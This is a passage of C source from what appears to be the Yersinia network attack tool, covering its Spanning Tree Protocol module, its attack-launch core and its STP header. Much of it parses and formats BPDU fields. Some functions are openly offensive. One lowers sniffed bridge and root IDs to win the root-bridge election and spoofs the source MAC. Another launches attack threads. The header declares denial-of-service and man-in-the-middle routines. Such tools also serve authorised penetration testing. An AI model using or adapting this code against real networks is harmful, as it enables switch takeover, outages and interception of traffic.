*)&aux_short,stp_conf,2); stp_data->id = ntohs(aux_short); #else stp_data->id = ntohs(*(u_int16_t *)stp_conf); #endif stp_data->version = *((u_int8_t *)stp_conf+2); stp_data->bpdu_type = *((u_int8_t *)stp_conf+3); stp_data->flags = *((u_int8_t *)stp_conf+4); memcpy((void *)stp_data->root_id, (void *)(stp_conf+5), 8); memcpy((void *)stp_data->bridge_id, (void *)(stp_conf+17), 8); #ifdef LBL_ALIGN memcpy((void *)&aux_long,(stp_conf+13),4); stp_data->root_pc = ntohl(aux_long); #else stp_data->root_pc = ntohl(*(u_int32_t *)(stp_conf+13)); #endif #ifdef LBL_ALIGN memcpy((void *)&aux_short,(stp_conf+25),2); stp_data->port_id = ntohs(aux_short); #else stp_data->port_id = ntohs(*(u_int16_t *)(stp_conf+25)); #endif #ifdef LBL_ALIGN memcpy((void *)&stp_data->message_age,(stp_conf+27),2); #else stp_data->message_age = *(u_int16_t *)(stp_conf+27); #endif #ifdef LBL_ALIGN memcpy((void *)&stp_data->max_age,(stp_conf+29),2); #else stp_data->max_age = *(u_int16_t *)(stp_conf+29); #endif #ifdef LBL_ALIGN memcpy((void *)&stp_data->hello_time,(stp_conf+31),2); #else stp_data->hello_time = *(u_int16_t *)(stp_conf+31); #endif #ifdef LBL_ALIGN memcpy((void *)&stp_data->forward_delay,(stp_conf+33),2); #else stp_data->forward_delay = *(u_int16_t *)(stp_conf+33); #endif break; case BPDU_TCN: break; } /* switch */ } /* While got */ free(packet); return 0; } /* Decrement the bridge id to win the STP elections :) */ int8_t xstp_decrement_bridgeid(struct stp_data *stp_data) { /* Well, we need to be the *TRUE* root id... */ if ( stp_data->root_id[5] != 0 ) stp_data->root_id[5]--; else { if ( stp_data->root_id[6] != 0 ) stp_data->root_id[6]--; else stp_data->root_id[7]--; } /* And we also need to be the *TRUE* bridge id... */ if ( stp_data->bridge_id[5] != 0 ) stp_data->bridge_id[5]--; else { if ( stp_data->bridge_id[6] != 0 ) stp_data->bridge_id[6]--; else stp_data->bridge_id[7]--; } /* change our source MAC address to be equal our (sniffed) bridge id */ memcpy((void *) stp_data->mac_source, (void *)&stp_data->bridge_id[2], 6); return 0; } int8_t xstp_increment_bridgeid(struct stp_data *stp_data) { /* We need to be the a valid bridge id... */ if ( stp_data->bridge_id[5] != 0 ) stp_data->bridge_id[5]++; else { if ( stp_data->bridge_id[6] != 0 ) stp_data->bridge_id[6]++; else stp_data->bridge_id[7]++; } /* change our source MAC address to be equal our (sniffed) bridge id */ memcpy((void *) stp_data->mac_source, (void *)&stp_data->bridge_id[2], 6); return 0; } /* * Return formated strings of each BPDU field */ char ** xstp_get_printable_packet(struct pcap_data *data) { struct libnet_802_3_hdr *ether; u_int8_t *stp_data; #ifdef LBL_ALIGN u_int16_t aux_short; u_int32_t aux_long; #endif char **field_values; if ((field_values = (char **) protocol_create_printable(protocols[PROTO_STP].nparams, protocols[PROTO_STP].parameters)) == NULL) { write_log(0, "Error in calloc\n"); return NULL; } ether = (struct libnet_802_3_hdr *) data->packet; stp_data = (u_int8_t *) (data->packet + LIBNET_802_3_H + LIBNET_802_2_H); /* Source MAC */ snprintf(field_values[XSTP_SMAC], 18, "%02X:%02X:%02X:%02X:%02X:%02X", ether->_802_3_shost[0], ether->_802_3_shost[1], ether->_802_3_shost[2], ether->_802_3_shost[3], ether->_802_3_shost[4], ether->_802_3_shost[5]); /* Destination MAC */ snprintf(field_values[XSTP_DMAC], 18, "%02X:%02X:%02X:%02X:%02X:%02X", ether->_802_3_dhost[0], ether->_802_3_dhost[1], ether->_802_3_dhost[2], ether->_802_3_dhost[3], ether->_802_3_dhost[4], ether->_802_3_dhost[5]); /* ID */ #ifdef LBL_ALIGN memcpy((void *)&aux_short,stp_data,2); snprintf(field_values[XSTP_ID], 5, "%04hX", ntohs(aux_short)); #else snprintf(field_values[XSTP_ID], 5, "%04hX", ntohs(*(u_int16_t *)stp_data)); #endif /* Version */ snprintf(field_values[XSTP_VER], 3, "%02X", *((u_int8_t *)(stp_data+2))); /* BPDU Type */ snprintf(field_values[XSTP_TYPE], 3, "%02X", *((u_int8_t *)(stp_data+3))); if ((*(u_int8_t *)(stp_data + 3)) != BPDU_TCN) { /* Flags */ snprintf(field_values[XSTP_FLAGS], 3, "%02X", *((u_int8_t *)stp_data+4)); /* Root ID */ snprintf(field_values[XSTP_ROOTID], 18, "%02X%02X.%02X%02X%02X%02X%02X%02X", *(stp_data+5)&0xFF, *(stp_data+6)&0xFF, *(stp_data+7)&0xFF, *(stp_data+8)&0xFF, *(stp_data+9)&0xFF, *(stp_data+10)&0xFF, *(stp_data+11)&0xFF, *(stp_data+12)&0xFF); /* Root Pathcost */ #ifdef LBL_ALIGN memcpy((void *)&aux_long,(stp_data+13),4); snprintf(field_values[XSTP_PATHCOST], 9, "%08X", (int32_t) ntohl(aux_long)); #else snprintf(field_values[XSTP_PATHCOST], 9, "%08X", (int32_t) ntohl(*(int32_t *)(stp_data+13))); #endif /* Bridge ID */ snprintf(field_values[XSTP_BRIDGEID], 18, "%02X%02X.%02X%02X%02X%02X%02X%02X", *(stp_data+17)&0xFF, *(stp_data+18)&0xFF, *(stp_data+19)&0xFF, *(stp_data+20)&0xFF, *(stp_data+21)&0xFF, *(stp_data+22)&0xFF, *(stp_data+23)&0xFF, *(stp_data+24)&0xFF); /* Port ID */ #ifdef LBL_ALIGN memcpy((void *)&aux_short,(stp_data+25),2); snprintf(field_values[XSTP_PORTID], 5, "%04hX", ntohs(aux_short)); #else snprintf(field_values[XSTP_PORTID], 5, "%04hX", ntohs(*(u_int16_t *)(stp_data+25))); #endif /* Message age */ #ifdef LBL_ALIGN memcpy((void *)&aux_short,(stp_data+27),2); snprintf(field_values[XSTP_AGE], 5, "%04hX", aux_short); #else snprintf(field_values[XSTP_AGE], 5, "%04hX", *(u_int16_t *)(stp_data+27)); #endif /* Max age */ #ifdef LBL_ALIGN memcpy((void *)&aux_short,(stp_data+29),2); snprintf(field_values[XSTP_MAX], 5, "%04hX", aux_short); #else snprintf(field_values[XSTP_MAX], 5, "%04hX", *(u_int16_t *)(stp_data+29)); #endif /* Hello time */ #ifdef LBL_ALIGN memcpy((void *)&aux_short,(stp_data+31),2); snprintf(field_values[XSTP_HELLO], 5, "%04hX", aux_short); #else snprintf(field_values[XSTP_HELLO], 5, "%04hX", *(u_int16_t *)(stp_data+31)); #endif /* Forward delay */ #ifdef LBL_ALIGN memcpy((void *)&aux_short,(stp_data+33),2); snprintf(field_values[XSTP_FWD], 5, "%04hX", aux_short); #else snprintf(field_values[XSTP_FWD], 5, "%04hX", *(u_int16_t *)(stp_data+33)); #endif } return (char **)field_values; } char ** xstp_get_printable_store(struct term_node *node) { struct stp_data *stp; char **field_values; /* smac + dmac + id + ver + type + flags + rootid + bridgeid + pathcost + * + portid + age + max + hello + fwd + null = 15 */ if ((field_values = (char **) protocol_create_printable(protocols[PROTO_STP].nparams, protocols[PROTO_STP].parameters)) == NULL) { write_log(0, "Error in calloc\n"); return NULL; } if (node == NULL) stp = protocols[PROTO_STP].default_values; else stp = (struct stp_data *) node->protocol[PROTO_STP].tmp_data; /* Source MAC */ snprintf(field_values[XSTP_SMAC], 18, "%02X:%02X:%02X:%02X:%02X:%02X", stp->mac_source[0], stp->mac_source[1], stp->mac_source[2], stp->mac_source[3], stp->mac_source[4], stp->mac_source[5]); /* Destination MAC */ snprintf(field_values[XSTP_DMAC], 18, "%02X:%02X:%02X:%02X:%02X:%02X", stp->mac_dest[0], stp->mac_dest[1], stp->mac_dest[2], stp->mac_dest[3], stp->mac_dest[4], stp->mac_dest[5]); /* ID */ snprintf(field_values[XSTP_ID], 5, "%04hX", stp->id); /* Version */ snprintf(field_values[XSTP_VER], 3, "%02X", stp->version); /* BPDU Type */ snprintf(field_values[XSTP_TYPE], 3, "%02X", stp->bpdu_type); /* Flags */ snprintf(field_values[XSTP_FLAGS], 3, "%02X", stp->flags); /* Root ID */ snprintf(field_values[XSTP_ROOTID], 18, "%02X%02X.%02X%02X%02X%02X%02X%02X", stp->root_id[0]&0xFF, stp->root_id[1]&0xFF, stp->root_id[2]&0xFF, stp->root_id[3]&0xFF, stp->root_id[4]&0xFF, stp->root_id[5]&0xFF, stp->root_id[6]&0xFF, stp->root_id[7]&0xFF); /* Root Pathcost */ snprintf(field_values[XSTP_PATHCOST], 9, "%08X", (u_int32_t)stp->root_pc); /* Bridge ID */ snprintf(field_values[XSTP_BRIDGEID], 18, "%02X%02X.%02X%02X%02X%02X%02X%02X", stp->bridge_id[0]&0xFF, stp->bridge_id[1]&0xFF, stp->bridge_id[2]&0xFF, stp->bridge_id[3]&0xFF, stp->bridge_id[4]&0xFF, stp->bridge_id[5]&0xFF, stp->bridge_id[6]&0xFF, stp->bridge_id[7]&0xFF); /* Port ID */ snprintf(field_values[XSTP_PORTID], 5, "%04hX", stp->port_id); /* Message age */ snprintf(field_values[XSTP_AGE], 5, "%04hX", stp->message_age); /* Max age */ snprintf(field_values[XSTP_MAX], 5, "%04hX", stp->max_age); /* Hello time */ snprintf(field_values[XSTP_HELLO], 5, "%04hX", stp->hello_time); /* Forward delay */ snprintf(field_values[XSTP_FWD], 5, "%04hX", stp->forward_delay); return (char **)field_values; } int8_t xstp_update_field(int8_t state, struct term_node *node, void *value) { struct stp_data *stp_data; if (node == NULL) stp_data = protocols[PROTO_STP].default_values; else stp_data = node->protocol[PROTO_STP].tmp_data; switch(state) { /* Source MAC */ case XSTP_SMAC: memcpy((void *)stp_data->mac_source, (void *)value, ETHER_ADDR_LEN); break; /* Destination MAC */ case XSTP_DMAC: memcpy((void *)stp_data->mac_dest, (void *)value, ETHER_ADDR_LEN); break; /* ID */ case XSTP_ID: stp_data->id = *(u_int8_t *)value; break; /* Version */ case XSTP_VER: stp_data->version = *(u_int8_t *)value; break; /* BPDU Type */ case XSTP_TYPE: stp_data->bpdu_type = *(u_int8_t *)value; break; /* Flags */ case XSTP_FLAGS: stp_data->flags = *(u_int8_t *)value; break; /* Root ID */ case XSTP_ROOTID: memcpy((void *)stp_data->root_id, (void *)value, ETHER_ADDR_LEN + 2); break; /* Bridge ID */ case XSTP_BRIDGEID: memcpy((void *)stp_data->bridge_id, (void *)value, ETHER_ADDR_LEN + 2); break; /* Root Pathcost */ case XSTP_PATHCOST: stp_data->root_pc = *(u_int32_t *)value; break; /* Port ID */ case XSTP_PORTID: stp_data->port_id = *(u_int16_t *)value; break; /* Message age */ case XSTP_AGE: stp_data->message_age = *(u_int16_t *)value; break; /* Max age */ case XSTP_MAX: stp_data->max_age = *(u_int16_t *)value; break; /* Hello time */ case XSTP_HELLO: stp_data->hello_time = *(u_int16_t *)value; break; /* Forward delay */ case XSTP_FWD: stp_data->forward_delay = *(u_int16_t *)value; break; default: break; } return 0; } int8_t xstp_init_attribs(struct term_node *node) { struct stp_data *stp_data; #ifdef LBL_ALIGN u_int16_t temp; u_int8_t ether_temp[6]; #endif stp_data = node->protocol[PROTO_STP].tmp_data; stp_data->id = XSTP_DFL_PROTOCOL_ID; stp_data->version = XSTP_DFL_VERSION; stp_data->bpdu_type = XSTP_DFL_BPDU_TYPE; stp_data->flags = 0; attack_gen_mac(stp_data->mac_source); stp_data->mac_source[0] &= 0x0E; #ifdef LBL_ALIGN attack_gen_mac(ether_temp); memcpy((void *)&stp_data->bridge_id[2], (void *)ether_temp,6); attack_gen_mac(ether_temp); memcpy((void *)&stp_data->root_id[2], (void *)ether_temp,6); #else attack_gen_mac((u_int8_t *)&(stp_data->bridge_id[2])); attack_gen_mac((u_int8_t *)&(stp_data->root_id[2])); #endif #ifdef LBL_ALIGN temp = libnet_get_prand(LIBNET_PRu16); memcpy((void *)stp_data->bridge_id, (void *)&temp,2); temp = libnet_get_prand(LIBNET_PRu16); memcpy((void *)stp_data->root_id, (void *)&temp,2); #else *((u_int16_t *) (stp_data->bridge_id)) = libnet_get_prand(LIBNET_PRu16); *((u_int16_t *) (stp_data->root_id)) = libnet_get_prand(LIBNET_PRu16); #endif parser_vrfy_mac("01:80:C2:00:00:00",stp_data->mac_dest); stp_data->root_pc = 0; stp_data->port_id = XSTP_DFL_PORT_ID; stp_data->message_age = XSTP_DFL_MSG_AGE; stp_data->max_age = XSTP_DFL_MAX_AGE; stp_data->hello_time = XSTP_DFL_HELLO_TIME; stp_data->forward_delay = XSTP_DFL_FORW_DELAY; stp_data->rstp_data = NULL; stp_data->rstp_len = 0; stp_data->do_ack = 1; return 0; } int8_t xstp_load_values(struct pcap_data *data, void *values) { struct libnet_802_3_hdr *ether; struct stp_data *stp_data; u_int8_t *stp; #ifdef LBL_ALIGN u_int16_t aux_short; u_int32_t aux_long; #endif stp_data = (struct stp_data *)values; ether = (struct libnet_802_3_hdr *) data->packet; stp = (u_int8_t *) (data->packet + LIBNET_802_3_H + LIBNET_802_2_H); /* Source MAC */ memcpy(stp_data->mac_source, ether->_802_3_shost, ETHER_ADDR_LEN); /* Destination MAC */ memcpy(stp_data->mac_dest, ether->_802_3_dhost, ETHER_ADDR_LEN); /* ID */ #ifdef LBL_ALIGN memcpy((void *)&aux_short,stp,2); stp_data->id = ntohs(aux_short); #else stp_data->id = ntohs(*(u_int16_t *)stp); #endif /* Version */ stp_data->version = *((u_int8_t *)stp+2); /* BPDU Type */ stp_data->bpdu_type = *((u_int8_t *)stp+3); /* Flags */ stp_data->flags = *((u_int8_t *)stp+4); /* Root ID */ memcpy(stp_data->root_id, (stp+5), 8); /* Bridge ID */ memcpy(stp_data->bridge_id, (stp+17), 8); /* Root Pathcost */ #ifdef LBL_ALIGN memcpy((void *)&aux_long,(stp+13),4); stp_data->root_pc = ntohl(aux_long); #else stp_data->root_pc = ntohl(*(u_int32_t *)(stp+13)); #endif /* Port ID */ #ifdef LBL_ALIGN memcpy((void *)&aux_short,(stp+25),2); stp_data->port_id = ntohs(aux_short); #else stp_data->port_id = ntohs(*(u_int16_t *)(stp+25)); #endif /* Message age */ #ifdef LBL_ALIGN memcpy((void *)&stp_data->message_age,(stp+27),2); #else stp_data->message_age = *(u_int16_t *)(stp+27); #endif /* Max age */ #ifdef LBL_ALIGN memcpy((void *)&stp_data->max_age,(stp+29),2); #else stp_data->max_age = *(u_int16_t *)(stp+29); #endif /* Hello time */ #ifdef LBL_ALIGN memcpy((void *)&stp_data->hello_time,(stp+31),2); #else stp_data->hello_time = *(u_int16_t *)(stp+31); #endif /* Forward delay */ #ifdef LBL_ALIGN memcpy((void *)&stp_data->forward_delay,(stp+33),2); #else stp_data->forward_delay = *(u_int16_t *)(stp+33); #endif return 0; } int8_t xstp_com_version(void *aux_node, void *value, char *printable) { struct term_node *node = aux_node; u_int8_t *version = value; struct stp_data *stp_data; stp_data = node->protocol[PROTO_STP].tmp_data; if (*version == RSTP_VERSION) { stp_data->version = RSTP_VERSION; if (!stp_data->rstp_data) { stp_data->rstp_data = (u_int8_t *)calloc(1,1); if (stp_data->rstp_data == NULL) { thread_error("xstp_com_version calloc error",errno); return -1; } /*memcpy((void *)stp_data->rstp_data, (void *)"\x00", 1);*/ stp_data->rstp_len = 1; } } else { if (stp_data->rstp_data) { free(stp_data->rstp_data); stp_data->rstp_len = 0; } } return 0; } int8_t xstp_com_type(void *aux_node, void *value, char *printable) { struct term_node *node = aux_node; u_int8_t *type = value; struct stp_data *stp_data; stp_data = node->protocol[PROTO_STP].tmp_data; switch(*type) { case 0: stp_data->bpdu_type = BPDU_CONF_STP; if (stp_data->rstp_data) { free(stp_data->rstp_data); stp_data->rstp_len = 0; } break; case 1: stp_data->version = RSTP_VERSION; stp_data->bpdu_type = BPDU_CONF_RSTP; if (!stp_data->rstp_data) { stp_data->rstp_data = (u_int8_t *)calloc(1,1); if (stp_data->rstp_data == NULL) { thread_error("xstp_com_version calloc error",errno); return -1; } } /* memcpy((void *)stp_data->rstp_data, (void *)"\x00", 1);*/ stp_data->rstp_len = 1; break; case 2: stp_data->bpdu_type = BPDU_TCN; if (stp_data->rstp_data) { free(stp_data->rstp_data); stp_data->rstp_len = 0; } break; } return 0; } int8_t xstp_com_other(void *aux_node, void *value, char *printable) { u_int16_t *aux16 = value; *aux16 = htons( ((*aux16) * 256) ); return 0; } int8_t xstp_end(struct term_node *node) { return 0; } yersinia-0.7.3/src/attack.c0000644000175000017500000002202412234207266013354 0ustar nknk/* attack.c * Attacks management core * * Yersinia * By David Barroso and Alfredo Andres * Copyright 2005, 2006, 2007 Alfredo Andres and David Barroso * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #ifndef lint static const char rcsid[] = "$Id: attack.c 46 2007-05-08 09:13:30Z slay $"; #endif #ifdef HAVE_CONFIG_H #include #endif #define _REENTRANT #include #include #ifdef HAVE_SYS_TYPES_H #include #endif #ifdef HAVE_INTTYPES_H #include #endif #ifdef HAVE_NETINET_IN_SYSTM_H #include #else #ifdef HAVE_NETINET_IN_SYSTEM_H #include #endif #endif #include #include #include #ifdef TIME_WITH_SYS_TIME #include #endif #ifdef HAVE_UNISTD_H #include #endif #ifdef HAVE_STRING_H #include #endif #ifdef HAVE_STRINGS_H #include #endif #ifdef HAVE_BSTRING_H #include #endif #ifdef STDC_HEADERS #include #endif #include "attack.h" /* Launch choosed attack... */ int8_t attack_launch(struct term_node *node, u_int16_t proto, u_int16_t attack, struct attack_param *attack_params, u_int8_t nparams) { u_int16_t i = 0; dlist_t *p; void *value1, *value2; while (i < MAX_THREAD_ATTACK) { if (node->protocol[proto].attacks[i].up == 0) { node->protocol[proto].attacks[i].up = 1; node->protocol[proto].attacks[i].mac_spoofing = node->mac_spoofing; node->protocol[proto].attacks[i].attack = attack; node->protocol[proto].attacks[i].params = attack_params; node->protocol[proto].attacks[i].nparams = nparams; /* FIXME: temporal hasta ponerlo bien, pillamos para el ataque las interfaces del usuario */ node->protocol[proto].attacks[i].used_ints = (list_t *) calloc(1, sizeof(list_t)); for (p = node->used_ints->list; p; p = dlist_next(node->used_ints->list, p)) { value1 = dlist_data(p); value2 = (void *) calloc(1, sizeof(struct interface_data)); memcpy((void *)value2, (void *)value1, sizeof(struct interface_data)); node->protocol[proto].attacks[i].used_ints->list = dlist_append(node->protocol[proto].attacks[i].used_ints->list, value2); } node->protocol[proto].attacks[i].used_ints->cmp = interfaces_compare; if ((node->protocol[proto].attacks[i].data = calloc(1, protocols[proto].size )) == NULL) { thread_error("attack_launch calloc",errno); node->protocol[proto].attacks[i].params = NULL; node->protocol[proto].attacks[i].nparams = 0; node->protocol[proto].attacks[i].up = 0; return -1; } memcpy(node->protocol[proto].attacks[i].data, node->protocol[proto].tmp_data, protocols[proto].size ); if (pthread_mutex_init(&node->protocol[proto].attacks[i].attack_th.finished, NULL) != 0) { thread_error("attack_launch pthread_mutex_init mutex", errno); free(node->protocol[proto].attacks[i].data); return -1; } if (pthread_mutex_init(&node->protocol[proto].attacks[i].helper_th.finished, NULL) != 0) { thread_error("attack_launch pthread_mutex_init mutex", errno); free(node->protocol[proto].attacks[i].data); return -1; } if (thread_create(&node->protocol[proto].attacks[i].attack_th.id, (*protocols[proto].attacks[attack].attack_th_launch), &node->protocol[proto].attacks[i]) < 0) { free(node->protocol[proto].attacks[i].data); node->protocol[proto].attacks[i].params = NULL; node->protocol[proto].attacks[i].nparams = 0; node->protocol[proto].attacks[i].up = 0; return -1; } write_log(0, " attack_launch: %d Attack thread %ld is born!!\n", (int)pthread_self(), (u_long) node->protocol[proto].attacks[i].attack_th.id); return 0; } i++; } /* while...*/ return -1; } /* * Kill attack thread pertaining to "node". * If "pid" == 0 then kill *ALL* node attack threads. * Return -1 on error. Return 0 if Ok. */ int8_t attack_kill_th(struct term_node *node, pthread_t pid) { u_int16_t i, j; i = 0; while (i < MAX_PROTOCOLS) { if (protocols[i].visible && node->protocol[i].attacks) { j=0; while (j < MAX_THREAD_ATTACK) { if (node->protocol[i].attacks[j].up == 1) { if (!pid || (node->protocol[i].attacks[j].attack_th.id == pid) ) { thread_destroy(&node->protocol[i].attacks[j].attack_th); pthread_mutex_destroy(&node->protocol[i].attacks[j].attack_th.finished); if (pid) return 0; } } j++; } } i++; } /* while protocols...*/ return 0; } int8_t attack_th_exit(struct attacks *attacks) { write_log(0," attack_th_exit -> attack_th.stop=%d attack_th.id=%d....\n",attacks->attack_th.stop, attacks->attack_th.id); if (attacks->attack_th.stop == 0) attacks->attack_th.id = 0; else attacks->attack_th.stop = 0; if (attacks->helper_th.id) { write_log(0," attack_th_exit: %d thread_destroy helper %d...\n", (int)pthread_self(), (int)attacks->helper_th.id); thread_destroy(&attacks->helper_th); } pthread_mutex_destroy(&attacks->helper_th.finished); if (attacks->data) { free(attacks->data); } if (attacks->params) { attack_free_params(attacks->params, attacks->nparams); free(attacks->params); } attacks->data = NULL; attacks->params = NULL; attacks->up = 0; dlist_delete(attacks->used_ints->list); if (attacks->used_ints) free(attacks->used_ints); write_log(0, " attack_th_exit: %d finished\n", (int) pthread_self()); return 0; } /* * macof.c * gen_mac from Dug Song's macof-1.1 C port */ void attack_gen_mac(u_int8_t *mac) { *((in_addr_t *)mac) = libnet_get_prand(LIBNET_PRu32); *((u_int16_t *)(mac + 4)) = libnet_get_prand(LIBNET_PRu16); } int8_t attack_init_params(struct term_node *node, struct attack_param *param, u_int8_t nparams) { u_int8_t i, j, a; for (i=0; i < nparams; i++) { if ( (param[i].value = calloc(1, param[i].size) ) == NULL) { thread_error("attack_init_parameter calloc",errno); for (a=0; atype == TERM_CON) { for (j=0; j < nparams; j++) { if ( (param[j].print = calloc(1, param[j].size_print+1) ) == NULL) { thread_error("attack_init_parameter calloc",errno); for (a=0; a and Alfredo Andres * Copyright 2005, 2006, 2007 Alfredo Andres and David Barroso * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #ifndef __XSTP_H__ #define __XSTP_H__ #include #include "terminal-defs.h" #include "interfaces.h" #define BPDU_CONF_STP 0x00 #define BPDU_CONF_RSTP 0x02 #define BPDU_TCN 0x80 /* STP stuff */ #define STP_VERSION 0x00 #define STP_TOPOLOGY_CHANGE 0x01 #define STP_TOPOLOGY_CHANGE_ACK 0x80 /* RSTP stuff */ #define RSTP_VERSION 0x02 #define RSTP_NOFLAGS 0 #define RSTP_TOPOLOGY_CHANGE 0x01 #define RSTP_PROPOSAL 0x02 #define RSTP_LEARNING 0x10 #define RSTP_FORWARDING 0x20 #define RSTP_AGREEMENT 0x40 #define RSTP_PORT_ROLE_MASK 0x0C #define RSTP_PORT_ROLE_SHIFT 0x02 #define RSTP_PORT_ROLE_UNKNOWN 0 #define RSTP_PORT_ROLE_BACKUP 0x04 #define RSTP_PORT_ROLE_ROOT 0x08 #define RSTP_PORT_ROLE_DESIGNATED 0x0C #define RSTP_TOPOLOGY_CHANGE_ACK 0x80 /* MSTP stuff */ #define MSTP_VERSION 0x03 struct xstp_mitm_args { struct attacks *attacks; struct stp_data *stp_data2; }; static const struct tuple_type_desc xstp_version[] = { { STP_VERSION, "STP" }, { RSTP_VERSION, "RSTP" }, { MSTP_VERSION, "MSTP" }, { 0, NULL } }; static const struct tuple_type_desc xstp_type[] = { { BPDU_CONF_STP, "Conf STP" }, { BPDU_CONF_RSTP, "Conf (M|R)STP" }, { BPDU_TCN, "TCN" }, { 0, NULL } }; static const struct tuple_type_desc xstp_flags[] = { { 0, "NO FLAGS" }, { STP_TOPOLOGY_CHANGE, "TC" }, { STP_TOPOLOGY_CHANGE_ACK, "TC ACK" }, { RSTP_PROPOSAL, "Proposal" }, { RSTP_LEARNING, "Learning" }, { RSTP_FORWARDING, "Forwarding" }, { RSTP_AGREEMENT, "Agreement" }, { 0, NULL } }; static struct proto_features xstp_features[] = { { F_LLC_DSAP, LIBNET_SAP_STP }, { -1, 0 } }; /* Default values */ #define XSTP_DFL_PROTOCOL_ID 0x0000 #define XSTP_DFL_VERSION STP_VERSION #define XSTP_DFL_BPDU_TYPE BPDU_CONF_STP #define XSTP_DFL_PORT_ID 0x8002 #define XSTP_DFL_MSG_AGE 0 #define XSTP_DFL_MAX_AGE 20 #define XSTP_DFL_HELLO_TIME 2 #define XSTP_DFL_FORW_DELAY 15 #define XSTP_DFL_PORT_ROLE RSTP_PORT_ROLE_UNKNOWN #define XSTP_DFL_PORT_STATE (RSTP_FORWARDING | RSTP_AGREEMENT) #define XSTP_SMAC 0 #define XSTP_DMAC 1 #define XSTP_ID 2 #define XSTP_VER 3 #define XSTP_TYPE 4 #define XSTP_FLAGS 5 #define XSTP_ROOTID 6 #define XSTP_PATHCOST 7 #define XSTP_BRIDGEID 8 #define XSTP_PORTID 9 #define XSTP_AGE 10 #define XSTP_MAX 11 #define XSTP_HELLO 12 #define XSTP_FWD 13 int8_t xstp_com_version(void *, void *, char *); int8_t xstp_com_type(void *, void *, char *); int8_t xstp_com_other(void *, void *, char *); /* Struct needed for using protocol fields within the network client */ struct commands_param xstp_comm_params[] = { { XSTP_SMAC, "source", "Source MAC", 6, FIELD_MAC, "Set source MAC address", " H:H:H:H:H:H 48 bit mac address", 17, 1, 0, NULL, NULL }, { XSTP_DMAC, "dest", "Destination MAC", 6, FIELD_MAC, "Set destination MAC address", " H:H:H:H:H:H 48 bit mac address", 17, 1, 0, NULL, NULL }, { XSTP_ID, "id", "Id", 2, FIELD_HEX, "Set id", " <00-FFFF> id", 4, 2, 0, NULL, NULL }, { XSTP_VER, "version", "Ver", 1, FIELD_HEX, "Set spanning tree version", " <00-FF> Spannig tree version", 2, 2, 0, xstp_com_version, xstp_version }, { XSTP_TYPE, "type", "Type", 1, FIELD_HEX, "Set bpdu type", " <00-FF> bpdu type", 2, 2, 0, xstp_com_type, xstp_type }, { XSTP_FLAGS, "flags", "Flags", 1,FIELD_HEX, "Set bpdu flags", " <00-FF> bpdu flags", 2, 2, 0, NULL, xstp_flags }, { XSTP_ROOTID, "rootid", "RootId", 8, FIELD_BRIDGEID, "Set root id", " HH.HHHHHH Root id", 17, 2, 1, NULL, NULL }, { XSTP_PATHCOST, "cost", "Pathcost", 4, FIELD_HEX, "Set the spanning tree root path cost", " <00-FFFFFFFF> root path cost", 8, 2, 0, NULL, NULL }, { XSTP_BRIDGEID, "bridgeid", "BridgeId", 8, FIELD_BRIDGEID, "Set bridge id", " HH.HHHHHH Bridge id", 17, 3, 1, NULL, NULL }, { XSTP_PORTID, "portid", "Port", 2, FIELD_HEX, "Set port id", " <00-FFFF> port id", 4, 3, 1, NULL, NULL }, { XSTP_AGE, "message", "Age", 2, FIELD_HEX, "Set message age", " <00-FFFF> Estimated time in seconds since the root transmitted its config message", 4, 3, 0, xstp_com_other, NULL }, { XSTP_MAX, "max-age", "Max", 2, FIELD_HEX, "Set the max age interval for the spanning tree", " <00-FFFF> maximum number of seconds the information in a BPDU is valid", 4, 3, 0, xstp_com_other, NULL }, { XSTP_HELLO, "hello", "Hello", 2, FIELD_HEX, "Set the hello interval for the spanning tree", " <00-FFFF> number of seconds between generation of config BPDUs", 4, 3, 0, xstp_com_other, NULL }, { XSTP_FWD, "forward", "Fwd", 2, FIELD_HEX, "Set the forward delay for the spanning tree", " <00-FFFF> number of seconds for the forward delay timer", 4, 3, 0, xstp_com_other, NULL }, { 0, "defaults", NULL, 0, FIELD_DEFAULT, "Set all values to default", " ", 0, 0, 0, NULL, NULL }, { 0, "interface", NULL, IFNAMSIZ, FIELD_IFACE, "Set network interface to use", " WORD Network interface", IFNAMSIZ, 0, 0, NULL, NULL } }; /* XSTP mode stuff */ struct stp_data { /* STP and Ethernet fields*/ u_int8_t mac_source[ETHER_ADDR_LEN]; u_int8_t mac_dest[ETHER_ADDR_LEN]; u_int16_t id; u_int8_t version; u_int8_t bpdu_type; u_int8_t flags; u_int8_t root_id[8]; u_int32_t root_pc; u_int8_t bridge_id[8]; u_int16_t port_id; u_int16_t message_age; u_int16_t max_age; u_int16_t hello_time; u_int16_t forward_delay; u_int8_t *rstp_data; u_int8_t rstp_len; int8_t do_ack; /* Do TOP_CHANGE_ACK */ }; void xstp_th_send_bpdu_conf(void *); void xstp_th_send_bpdu_conf_exit(struct attacks *); int8_t xstp_send_all_bpdu_conf(struct attacks *); int8_t xstp_send_bpdu_conf(u_int8_t, struct stp_data *, struct interface_data *); void xstp_th_send_bpdu_tcn(void *); void xstp_th_send_bpdu_tcn_exit(struct attacks *); int8_t xstp_send_all_bpdu_tcn(struct attacks *); int8_t xstp_send_bpdu_tcn(u_int8_t, struct stp_data *, struct interface_data *); void xstp_th_dos_conf(void *); void xstp_th_dos_conf_exit(struct attacks *); void xstp_th_dos_tcn(void *); void xstp_th_dos_tcn_exit(struct attacks *); void xstp_th_nondos_role(void *); void xstp_th_nondos_role_exit(struct attacks *); void xstp_th_nondos_other_role(void *); void xstp_th_nondos_other_role_exit(struct attacks *); void xstp_th_dos_mitm(void *); void xstp_th_dos_mitm_exit(struct attacks *); /*void xstp_dos_elect(void); void xstp_nondos_main_read_pcap(void); void xstp_pcap_callback(struct pcap_pkthdr *, const u_char 